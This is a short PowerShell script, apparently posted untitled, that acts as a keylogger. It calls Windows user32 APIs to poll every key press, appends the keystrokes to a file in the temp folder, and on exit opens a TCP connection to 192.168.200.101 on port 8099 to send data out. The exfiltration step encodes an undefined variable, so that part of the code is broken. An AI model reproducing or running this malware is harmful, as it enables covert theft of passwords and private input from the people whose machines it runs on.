Untitled

$dataBufferToSend = New-Object byte[] 1024

function Start-KeyLogger($Path="$env:temp\keylogger.txt"){
  $signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru

  $null = New-Item -Path $Path -ItemType File -Force

  try{
    Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red

    while($true){
      Start-Sleep -Milliseconds 40

      for($ascii = 9; $ascii -le 254; $ascii++){

        $state = $API::GetAsyncKeyState($ascii)

        if($state -eq -32767){
          $null = [console]::CapsLock

          $virtualKey = $API::MapVirtualKey($ascii, 3)

          $kbstate = New-Object Byte[] 256
          $checkkbstate = $API::GetKeyboardState($kbstate)

          $mychar = New-Object -TypeName System.Text.StringBuilder

          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

          if($success){
            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
          }
        }
      }
    }
  }
  finally{
    $contentData = Get-Content -Path $Path
    $byteArray = [System.Text.Encoding]::UTF8.GetBytes($stringToSend)

    [Array]::Copy($byteArray, 0, $dataBufferToSend, 0, $byteArray.Length)

    $client = New-Object System.Net.Sockets.TcpClient
    $client.Connect("192.168.200.101", 8099)

    $stream = $client.GetStream()
    $stream.Write($dataBufferToSend, 0, $dataBufferToSend.Length)

    $stream.Close()
    $client.Close()
  }
}
Start-KeyLogger